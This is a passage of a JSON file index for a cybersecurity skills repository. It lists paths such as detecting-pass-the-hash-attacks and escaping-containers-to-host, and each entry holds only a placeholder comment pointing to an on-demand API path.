/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-model-extraction-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2Freferences%2Fstandards.md -->","skills/detecting-network-anomalies-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-anomalies-with-zeek%2FSKILL.md -->","skills/detecting-network-anomalies-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-anomalies-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-network-scanning-with-ids-signatures/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-scanning-with-ids-signatures%2FSKILL.md -->","skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-scanning-with-ids-signatures%2Freferences%2Fapi-reference.md -->","skills/detecting-ntlm-relay-with-event-correlation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ntlm-relay-with-event-correlation%2FSKILL.md -->","skills/detecting-ntlm-relay-with-event-correlation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ntlm-relay-with-event-correlation%2Freferences%2Fapi-reference.md -->","skills/detecting-oauth-token-theft/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-oauth-token-theft%2FSKILL.md -->","skills/detecting-oauth-token-theft/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-oauth-token-theft%2Freferences%2Fapi-reference.md -->","skills/detecting-pass-the-hash-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2FSKILL.md -->","skills/detecting-pass-the-hash-attacks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Fassets%2Ftemplate.md -->","skills/detecting-pass-the-hash-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-pass-the-hash-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fstandards.md -->","skills/detecting-pass-the-hash-attacks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fworkflows.md -->","skills/detecting-pass-the-ticket-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-ticket-attacks%2FSKILL.md -->","skills/detecting-pass-the-ticket-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-ticket-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-port-scanning-with-fail2ban/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-port-scanning-with-fail2ban%2FSKILL.md -->","skills/detecting-port-scanning-with-fail2ban/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-port-scanning-with-fail2ban%2Freferences%2Fapi-reference.md -->","skills/detecting-privilege-escalation-attempts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2FSKILL.md -->","skills/detecting-privilege-escalation-attempts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Fassets%2Ftemplate.md -->","skills/detecting-privilege-escalation-attempts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fapi-reference.md -->","skills/detecting-privilege-escalation-attempts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fstandards.md -->","skills/detecting-privilege-escalation-attempts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fworkflows.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2FSKILL.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Fassets%2Ftemplate.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fapi-reference.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fstandards.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fworkflows.md -->","skills/detecting-process-hollowing-technique/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2FSKILL.md -->","skills/detecting-process-hollowing-technique/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Fassets%2Ftemplate.md -->","skills/detecting-process-hollowing-technique/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fapi-reference.md -->","skills/detecting-process-hollowing-technique/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fstandards.md -->","skills/detecting-process-hollowing-technique/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fworkflows.md -->","skills/detecting-process-injection-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-injection-techniques%2FSKILL.md -->","skills/detecting-process-injection-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-injection-techniques%2Freferences%2Fapi-reference.md -->","skills/detecting-qr-code-phishing-with-email-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2FSKILL.md -->","skills/detecting-qr-code-phishing-with-email-security/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Fassets%2Ftemplate.md -->","skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fapi-reference.md -->","skills/detecting-qr-code-phishing-with-email-security/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fstandards.md -->","skills/detecting-qr-code-phishing-with-email-security/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fworkflows.md -->","skills/detecting-ransomware-encryption-behavior/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-encryption-behavior%2FSKILL.md -->","skills/detecting-ransomware-encryption-behavior/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-encryption-behavior%2Freferences%2Fapi-reference.md -->","skills/detecting-ransomware-precursors-in-network/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2FSKILL.md -->","skills/detecting-ransomware-precursors-in-network/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Fassets%2Ftemplate.md -->","skills/detecting-ransomware-precursors-in-network/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fapi-reference.md -->","skills/detecting-ransomware-precursors-in-network/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fstandards.md -->","skills/detecting-ransomware-precursors-in-network/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fworkflows.md -->","skills/detecting-rdp-brute-force-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rdp-brute-force-attacks%2FSKILL.md -->","skills/detecting-rdp-brute-force-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rdp-brute-force-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-rootkit-activity/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rootkit-activity%2FSKILL.md -->","skills/detecting-rootkit-activity/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rootkit-activity%2Freferences%2Fapi-reference.md -->","skills/detecting-s3-data-exfiltration-attempts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-s3-data-exfiltration-attempts%2FSKILL.md -->","skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-s3-data-exfiltration-attempts%2Freferences%2Fapi-reference.md -->","skills/detecting-secure-boot-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2FSKILL.md -->","skills/detecting-secure-boot-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2Freferences%2Fapi-reference.md -->","skills/detecting-secure-boot-bypass/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2Freferences%2Fstandards.md -->","skills/detecting-serverless-function-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-serverless-function-injection%2FSKILL.md -->","skills/detecting-serverless-function-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-serverless-function-injection%2Freferences%2Fapi-reference.md -->","skills/detecting-service-account-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2FSKILL.md -->","skills/detecting-service-account-abuse/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Fassets%2Ftemplate.md -->","skills/detecting-service-account-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fapi-reference.md -->","skills/detecting-service-account-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fstandards.md -->","skills/detecting-service-account-abuse/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fworkflows.md -->","skills/detecting-shadow-api-endpoints/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-api-endpoints%2FSKILL.md -->","skills/detecting-shadow-api-endpoints/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-api-endpoints%2Freferences%2Fapi-reference.md -->","skills/detecting-shadow-it-cloud-usage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-it-cloud-usage%2FSKILL.md -->","skills/detecting-shadow-it-cloud-usage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-it-cloud-usage%2Freferences%2Fapi-reference.md -->","skills/detecting-spearphishing-with-email-gateway/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2FSKILL.md -->","skills/detecting-spearphishing-with-email-gateway/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Fassets%2Ftemplate.md -->","skills/detecting-spearphishing-with-email-gateway/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fapi-reference.md -->","skills/detecting-spearphishing-with-email-gateway/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fstandards.md -->","skills/detecting-spearphishing-with-email-gateway/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fworkflows.md -->","skills/detecting-sql-injection-via-waf-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-sql-injection-via-waf-logs%2FSKILL.md -->","skills/detecting-sql-injection-via-waf-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-sql-injection-via-waf-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-stuxnet-style-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-stuxnet-style-attacks%2FSKILL.md -->","skills/detecting-stuxnet-style-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-stuxnet-style-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-supply-chain-attacks-in-ci-cd%2FSKILL.md -->","skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-supply-chain-attacks-in-ci-cd%2Freferences%2Fapi-reference.md -->","skills/detecting-suspicious-oauth-application-consent/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-oauth-application-consent%2FSKILL.md -->","skills/detecting-suspicious-oauth-application-consent/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-oauth-application-consent%2Freferences%2Fapi-reference.md -->","skills/detecting-suspicious-powershell-execution/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2FSKILL.md -->","skills/detecting-suspicious-powershell-execution/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Fassets%2Ftemplate.md -->","skills/detecting-suspicious-powershell-execution/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fapi-reference.md -->","skills/detecting-suspicious-powershell-execution/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fstandards.md -->","skills/detecting-suspicious-powershell-execution/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fworkflows.md -->","skills/detecting-t1003-credential-dumping-with-edr/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2FSKILL.md -->","skills/detecting-t1003-credential-dumping-with-edr/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Fassets%2Ftemplate.md -->","skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fapi-reference.md -->","skills/detecting-t1003-credential-dumping-with-edr/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fstandards.md -->","skills/detecting-t1003-credential-dumping-with-edr/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fworkflows.md -->","skills/detecting-t1055-process-injection-with-sysmon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2FSKILL.md -->","skills/detecting-t1055-process-injection-with-sysmon/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Fassets%2Ftemplate.md -->","skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fapi-reference.md -->","skills/detecting-t1055-process-injection-with-sysmon/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fstandards.md -->","skills/detecting-t1055-process-injection-with-sysmon/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fworkflows.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2FSKILL.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Fassets%2Ftemplate.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fapi-reference.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fstandards.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fworkflows.md -->","skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages-in-npm-pypi%2FSKILL.md -->","skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages-in-npm-pypi%2Freferences%2Fapi-reference.md -->","skills/detecting-typosquatting-packages/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2FSKILL.md -->","skills/detecting-typosquatting-packages/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2Freferences%2Fapi-reference.md -->","skills/detecting-typosquatting-packages/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2Freferences%2Fstandards.md -->","skills/detecting-wmi-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-wmi-persistence%2FSKILL.md -->","skills/detecting-wmi-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-wmi-persistence%2Freferences%2Fapi-reference.md -->","skills/emulating-cloud-attacks-with-stratus-red-team/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2FSKILL.md -->","skills/emulating-cloud-attacks-with-stratus-red-team/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2Freferences%2Fapi-reference.md -->","skills/emulating-cloud-attacks-with-stratus-red-team/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2Freferences%2Fstandards.md -->","skills/enumerating-cloud-with-cloudfox/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2FSKILL.md -->","skills/enumerating-cloud-with-cloudfox/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2Freferences%2Fapi-reference.md -->","skills/enumerating-cloud-with-cloudfox/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2Freferences%2Fstandards.md -->","skills/eradicating-malware-from-infected-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2FSKILL.md -->","skills/eradicating-malware-from-infected-systems/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Fassets%2Ftemplate.md -->","skills/eradicating-malware-from-infected-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fapi-reference.md -->","skills/eradicating-malware-from-infected-systems/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fstandards.md -->","skills/eradicating-malware-from-infected-systems/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fworkflows.md -->","skills/escaping-containers-to-host/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2FSKILL.md -->","skills/escaping-containers-to-host/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2Freferences%2Fapi-reference.md -->","skills/escaping-containers-to-host/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2Freferences%2Fstandards.md -->","skills/evaluating-threat-intelligence-platforms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fevaluating-threat-intelligence-platforms%2FSKILL.md -->","skills/evaluating-threat-intelligence-platforms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fevaluating-threat-intelligence-platforms%2Freferences%2Fapi-reference.md -->","skills/executing-active-directory-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-active-directory-attack-simulation%2FSKILL.md -->","skills/executing-active-directory-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-active-directory-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/executing-nist-rmf-authorization-to-operate/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2FSKILL.md -->","skills/executing-nist-rmf-authorization-to-operate/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2Fassets%2Ftemplate.md -->","skills/executing-nist-rmf-authorization-to-operate/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2Freferences%2Fstandards.md -->","skills/executing-phishing-simulation-campaign/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-phishing-simulation-campaign%2FSKILL.md -->","skills/executing-phishing-simulation-campaign/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-phishing-simulation-campaign%2Freferences%2Fapi-reference.md -->","skills/executing-red-team-engagement-planning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2FSKILL.md -->","skills/executing-red-team-engagement-planning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Fassets%2Ftemplate.md -->","skills/executing-red-team-engagement-planning/references/api-reference.md":"<!-- Skill available on-demand via 